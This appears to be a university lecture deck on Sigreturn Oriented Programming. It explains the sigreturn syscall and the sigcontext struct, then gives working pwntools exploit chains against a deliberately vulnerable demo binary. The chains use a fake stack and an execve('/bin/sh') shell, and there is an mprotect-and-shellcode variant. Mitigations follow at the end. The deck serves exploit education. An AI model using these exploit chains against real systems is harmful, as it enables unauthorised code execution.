LSN 4 : Sigreturn Oriented Programming

Vulnerability Research

Objectives

Lesson #4: SROP

- Understand the purpose of a sigreturn signal handler.
- Examine the details of a sigcontext struct that restores the state of the registers and stack after a sigcontext handler.
- Absuse a sigcontext handler to arbitrarily control the state of registers, further allowing arbitrary execution.

References

- Bosman, Erik, and Herbert Bos. "Framing signals-a return to portable shellcode." 2014 IEEE Symposium on Security and Privacy. IEEE, 2014.
- Michal Zalewski, Delivering Signals for Fun and Profit. [Link]
- Ir0nstone, Signal Return Oriented Programming [Gitbook Link]

SROP: SigReturn Explanation

When the kernel delivers a signal, it suspends the process' normal execution and changes the user space CPU context such that the appropriate signal handler is called with the right arguments. When this signal handler returns, the original user space CPU context is restored. Specifically, a program returns from the handler using sigreturn, a 'hidden system call' on most UNIX-like systems, that reads a signal frame (struct sigframe) from the stack, put there by the kernel upon signal delivery.

Text copied from "Framing Signals—A Return to Portable Shellcode"

SROP: SigReturn Manpage

```
$ man sigreturn

<...snipped...>

If the Linux kernel determines that an unblocked signal is pending for a process, then,
at the next transition back to user mode in that process (e.g., upon return from a
system call or when the process is rescheduled onto the CPU), it creates a new frame on
the user-space stack where it saves various pieces of process context (processor status
word, registers, signal  mask, and signal stack settings).
```

The linux manpage tells us a little more about the sigreturn, namely the struct includes registers, signal, mask and stack settings.

SROP: SigContext Struct

```
struct sigcontext {
            __u64                               r8;
            __u64                               r9;
            __u64                               r10;
            __u64                               r11;
            __u64                               r12;
            __u64                               r13;
            __u64                               r14;
            __u64                               r15;
            __u64                               rdi;
            __u64                               rsi;
            __u64                               rbp;
            __u64                               rbx;
            __u64                               rdx;
            __u64                               rax;
            __u64                               rcx;
            __u64                               rsp;
            __u64                               rip;
            __u64                               eflags;           /* RFLAGS */
            __u16                               cs;

             */

<...snipped ...>

            __u64                               reserved1[8];
};
```

The sigframe struct is used to restore the state of the registers after a signal has been called.

Code copied from Linus Tourvals (Linux Kernel):
https://github.com/torvalds/linux/blob/master/arch/x86/include/uapi/asm/sigcontext.h

The ability to control all registers sounds awesome

But this only works when you call sigreturn() and I can't call that, can I?

SROP: SigReturn Manpage

```
<...snipped...>

Many UNIX-type systems have a sigreturn() system call or near equivalent.  However, this
call is not specified in POSIX, and details of its behavior vary across systems.
```

This is why we always read more than just the first paragraph of manpages

SROP: SigReturn

```
#
# 64-bit system call numbers and entry vectors
#
# The format is:
# <number> <abi> <name> <entry point>
#
# The __x64_sys_*() stubs are created on-the-fly for sys_*() syste
#
# The abi is "common", "64" or "x32" for this file.
#
0          common     read                          __x64_sys_read
1          common     write                         __x64_sys_write
2          common     open                          __x64_sys_open
3          common     close                         __x64_sys_close
4          common     stat                          __x64_sys_newstat
5          common     fstat                         __x64_sys_newfstat
6          common     lstat                         __x64_sys_newlstat
7          common     poll                          __x64_sys_poll
8          common     lseek                         __x64_sys_lseek
9          common     mmap                          __x64_sys_mmap
10         common     mprotect            __x64_sys_mprotect
11         common     munmap                        __x64_sys_munmap
12         common     brk                           __x64_sys_brk
13         64         rt_sigaction                  __x64_sys_rt_sigaction
14         common     rt_sigprocmask                __x64_sys_rt_sigprocmask
15         64         rt_sigreturn                  __x64_sys_rt_sigreturn/ptregs
```

Turns out that there is a specific syscall that forces the sigreturn. Rt_sigreturn (0xf on amd64 systems) will instruct the kernel to perform a signal return.

What would we need to use a sigreturn to change registers?

What would we need to use a sigreturn to change registers?

(r|e)ax=0xf gadget

syscall, [ret] gadget

stack overflow

FLORIDA TECH

SROP: High Level

```
POP RAX; RET
```

```
RT_SIGRETURN (0xF)
```

```
SYSCALL
```

```
syscall(rt_sigreturn)
```

```
FAKE SIGCONTEXT STRUCT {
...
rax=0x3b
rdi=0x401337 /*bin/sh */
rsi = 0x0
rdx = 0x0
rip = addr(syscall)
...
}
```

```
execve("/bin/sh",0,0)
```

FLORIDA TECH

A vulnerable binary

Here, we have a binary containing a stack-based buffer overflow. It does not link to any external libc, so it will not be vulnerable to any of our previous techniques. However, it contains all the primitives for an SROP exploit: "pop rax, ret", "syscall"

```
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
elf = ELF.from_assembly(
    '''
        mov rdi, 0;
        mov rsi, rsp;
        sub rsi, 8;
        mov rdx, 500;
        syscall;                          // read(rdi=0,rsi=rsp-8,rdx=500)
        ret;

        pop rax;
        ret;
    ''', vma=0x41000
)
elf.save('chal.bin')
```

Example copied from https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop

First challenge: Binary does not have a "/bin/sh" string and the stack address is unknown.

That’s ok, we can find some writeable memory and store it, then return to entry point, and call execve

read(rdi=0, rsi=writeable_mem, rdx=8)

entry_point

execve(rsi=0x4150, rsi=0, dx=0)

A vulnerable binary

The following code will should exploit the binary, effectively calling read(0,0x41500,8) and then return to main so we can then make an execve(0x41500,0,0) call.

```
frame = SigreturnFrame()
frame.rax = constants.SYS_read   # rax = sys_read (0x0)
frame.rdi = 0x0                  # rdi = stdin (0x0)
frame.rsi = 0x41500              # rsi = writeable memory
frame.rdx = 0x1000               # rdx = size to read in
frame.rip = syscall

chain = cyclic(8)                # padding
chain += p64(pop_rax)            # pop rax, ret
chain += p64(constants.SYS_rt_sigreturn) # rax = SYS_rt_sigreturn (0xf)
chain += p64(syscall_ret)        # syscall -> forces sigreturn
chain += bytes(frame)            # read(rdi=0x0, rsi=0x41500, rdx=0x1000)
chain += p64(main)
```

Example copied from https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop

```
[ STACK ]
<Could not read memory at 0x0>
[ BACKTRACE ]
 ► f 0          0x41007 _start+7

pwndbg> n
0x000000000004100a in _start ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off
 RAX  0x0
 RBX  0x0
 RCX  0x0
 RDX  0x1000
 RDI  0x0
*RSI  0x0
 R8   0x0
 R9   0x0
 R10  0x0
 R11  0x0
 R12  0x0
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x0
 RSP  0x0
*RIP  0x4100a (_start+10) ◂— sub rsi, 8 /* 0xf4c2c74808ee8348 */
[ DISASM / x86-64 / set emulate on ]
   0x41000 <_start>       mov    rdi, 0
   0x41007 <_start+7>     mov    rsi, rsp
 ► 0x4100a <_start+10>    sub    rsi, 8
   0x4100e <_start+14>    mov    rdx, 0x1f4
   0x41015 <_start+21>    syscall
   0x41017 <_start+23>    ret

   0x41018 <_start+24>    pop    rax
   0x41019 <_start+25>    ret

   0x4101a                add    byte ptr [rax], al
   0x4101c                add    byte ptr [rax], al
   0x4101e                add    byte ptr [rax], al
[ STACK ]
<Could not read memory at 0x0>
[ BACKTRACE ]
 ► f 0          0x4100a _start+10
```

We return 2 entry point but the binary fails at:

sub rsi, 0x8

why?

```
──────────────────────────────────────────────────[ STACK ]──────────────────
<Could not read memory at 0x0>
────────────────────────────────────────────────[ BACKTRACE ]────────────────
 ▶ f 0          0x41007 _start+7
─────────────────────────────────────────────────────────────────────────────
pwndbg> n
0x000000000004100a in _start ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────[ REGISTERS / show-flags off / show-compact-regs off
 RAX  0x0
 RBX  0x0
 RCX  0x0
 RDX  0x1000
 RDI  0x0
*RSI  0x0
 R8   0x0
 R9   0x0
 R10  0x0
 R11  0x0
 R12  0x0
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x0
 RSP  0x0
*RIP  0x4100a (_start+10) ◂— sub rsi, 8 /* 0xf4c2c74808ee8348 */
──────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────
   0x41000 <_start>       mov    rdi, 0
   0x41007 <_start+7>     mov    rsi, rsp
 ▶ 0x4100a <_start+10>    sub    rsi, 8
   0x4100e <_start+14>    mov    rdx, 0x1f4
   0x41015 <_start+21>    syscall
   0x41017 <_start+23>    ret

   0x41018 <_start+24>    pop    rax
   0x41019 <_start+25>    ret

   0x4101a                add    byte ptr [rax], al
   0x4101c                add    byte ptr [rax], al
   0x4101e                add    byte ptr [rax], al
──────────────────────────────────────────────────[ STACK ]──────────────────
<Could not read memory at 0x0>
────────────────────────────────────────────────[ BACKTRACE ]────────────────
 ▶ f 0          0x4100a _start+10
```

The previous instruction

mov rsi, rsp

moves the stack address into rsi and then 8 bytes are subtracted from rsi at

sub rsi, 8

This fails because rsi=0, which means also rsp=0.

Why/how was our stack pointer, rsp, destroyed?

SROP: SigContext Struct

```
struct sigcontext {
        __u64                            r8;
        __u64                            r9;
        __u64                            r10;
        __u64                            r11;
        __u64                            r12;
        __u64                            r13;
        __u64                            r14;
        __u64                            r15;
        __u64                            rdi;
        __u64                            rsi;
        __u64                            rbp;
        __u64                            rbx;
        __u64                            rdx;
        __u64                            rax;
        __u64                            rcx;
        __u64                            rsp;
        __u64                            rip;
        __u64                            eflags;         /* RFLAGS */
        __u16                            cs;

         */

<...snipped ...>

        __u64                            reserved1[8];
};
```

Oh, yeah – must have forgotten that sigcontext also sets RSP when restoring the state of the stack

Code copied from Linus Tourvals (Linux Kernel):
https://github.com/torvalds/linux/blob/master/arch/x86/include/uapi/asm/sigcontext.h

FLORIDA TECH

SROP: SigContext Struct

```
>>> from pwn import *
>>> context.update(arch='amd64',os='linux')
>>> frame = SigreturnFrame()
>>> bytes(frame)
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> frame.rsp=0x31337
>>> bytes(frame)
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x007\x13\x03\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```

In the absence of specifying the state of rsp, pwntools set rsp=0.

Code copied from Linus Tourvals (Linux Kernel):
https://github.com/torvalds/linux/blob/master/arch/x86/include/uapi/asm/sigcontext.h

Well this is terrible. We need the stack and we don’t know its address.

Probably time to quit. This makes for a terrible lesson.

FLORIDA TECH

What if we just make up a fake stack?

SROP: Fake Stack

We can just declare a fake_stack at a writeable memory address and transfer control of the program into it to call execve()

```
POP RAX; RET

RT_SIGRETURN (0xF)

SYSCALL

FAKE SIGCONTEXT STRUCT {
...
rax = sys_read (0x0)
rdi = 0x0
rsi = fake_stack
rdx = 0x1000
rip = syscall_ret
rsp = fake_stack+0x8
...
}
```

```
/bin/sh

POP RAX; RET
RT_SIGRETURN (0xF)

SYSCALL

FAKE SIGCONTEXT STRUCT {
...
rax = sys_execve (0x3b)
rdi = fake_stack
rsi = 0x0
rdx = 0x0
rip = syscall_ret
...

}
```

FLORIDA TECH

SROP: Fake Stack

```
''' read(rdi=0x0, rsi=0x41500, rdx=0x1000) '''
frame = SigreturnFrame()
frame.rax = constants.SYS_read   # rax = sys_read (0x0)
frame.rdi = 0x0                  # rdi = stdin (0x0)
frame.rsi = fake_stack           # rsi = fake stack (0x41500)
frame.rdx = 0x1000               # rdx = size to read in
frame.rip = syscall_ret
frame.rsp = fake_stack+0x8       # fake stack+0x8 = 0x41500+0x8

chain = cyclic(8)                # padding
chain += p64(pop_rax)            # pop rax, ret
chain += p64(constants.SYS_rt_sigreturn) # rax = SYS_rt_sigreturn (0xf)
chain += p64(syscall_ret)        # syscall -> forces sigreturn
chain += bytes(frame)            # read(rdi=0x0, rsi=0x41500, rdx=0x1000)

p.sendline(chain)                # send first stage-> forces read()

''' execve(rdi=0x41500->/bin/sh, rsi=0x0=NULL, rdx=0x0=NULL) '''
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # rax = sys_execve (0x3b)
frame.rdi = fake_stack           # rdi = fake stack (0x41500)->/bin/sh
frame.rsi = 0x0                  # rsi = NULL (0x0)
frame.rdx = 0x0                  # rdx = NULL (0x0)
frame.rip = syscall_ret

chain = b'/bin/sh\0'             # place /bin/sh at top of fake stack
chain += p64(pop_rax)            # pop rax, ret
chain += p64(constants.SYS_rt_sigreturn) # rax = SYS_rt_sigreturn (0xf)
chain += p64(syscall_ret)        # syscall -> force sigreturn
chain += bytes(frame)            # execve(rdi->/bin/sh, rsi=NULL, rdx=NULL)

p.sendline(chain)                # send second stage -> forces execve()
```

We make a fake stack, reading /bin/sh at the top, following by the gadgets we will need to execve()

SROP: Shell Party

```
python3 pwn-srop.py BIN=./chal.bin
[*] '/root/workspace/srop-demo/chal.bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x40000)
    RWX:      Has RWX segments
[*] Loaded 3 cached gadgets for './chal.bin'
[+] Starting local process '/root/workspace/srop-demo/chal.bin': pid 397
[*] Switching to interactive mode
$ cat flag.txt
flag{i_sure_wished_this_worked_remotely_too}
```

Yeah. It worked

FLORIDA TECH

Could we still SROP without POP RAX; RET

Could we still SROP without POP RAX; RET

Yes, since several functions return their output into the RAX register.

FLORIDA TECH

Could we still SROP without POP RAX; RET

SROP: Shell Party

```
def srop_mprotect():
    chain = p64(sys_read)
    chain += p64(syscall_ret)

    '''sys_mprotect(rdi=start,rsi=len(shellcode),rdx=prot=RWX)'''
    frame = SigreturnFrame()
    frame.rip = syscall_ret
    frame.rsp = entry
    frame.rax = constants.SYS_mprotect
    frame.rdi = e.address
    frame.rsi = len(shellcode)
    frame.rdx = 7

    p.send(chain + bytes(frame))

def read_15_bytes():
    pause("Reading 15 Bytes (rax=0xf=sys_rt_sigreturn) ")
    chain=p64(syscall_ret).ljust(constants.SYS_rt_sigreturn)
    p.send(chain)

def exec_shellcode():
    pause("Shellcode")
    p.send(p64(start) + shellcode)

srop_mprotect()
read_15_bytes()
exec_shellcode()
```

Void Solution

Here we set the RAX register by performing a read system call. Then we send our syscall_ret gadget plus an additional 7 bytes, that sets RAX = 0xf.

FLORIDA TECH

Mitigation Strategies

- As with other exploits, we could stop this at compile time by ensuring we compile with PIE & Stack Protector (Stack Canaries) protections enabled
- Signal Cookies adds a random cookie XOR'd with the base of the stack. Implemented in 2016; not added due to concerns about breaking the ABI [link]
- RAP (GrSecurity patches) implements Per System Call cookies [link]

Mitigation Strategies

SROP Mitigation: Signal cookies

From: Scott Bauer <sbauer@eng.utah.edu>
To: linux-kernel@vger.kernel.org
Subject: [PATCHv2 0/2] SROP Mitigation: Signal cookies
Date: Sat, 6 Feb 2016 16:39:22 -0700
Message-ID: <1454801964-50385-1-git-send-email-sbauer@eng.utah.edu>
Cc: kernel-hardening@lists.openwall.com, x86@kernel.org, ak@linux.intel.com, luto@amacapital.net, mingo@redhat.com, tglx@linutronix.de
Archive-link: Article, Thread

```
Erik Bosman previously attempted to upstream some patches which mitigate SROP
exploits in userland. Unfortunately he never pursued it further and they never
got merged in.

The previous patches can be seen here:
https://lkml.org/lkml/2014/5/15/660
https://lkml.org/lkml/2014/5/15/661
https://lkml.org/lkml/2014/5/15/657
https://lkml.org/lkml/2014/5/15/858
```

Thank you.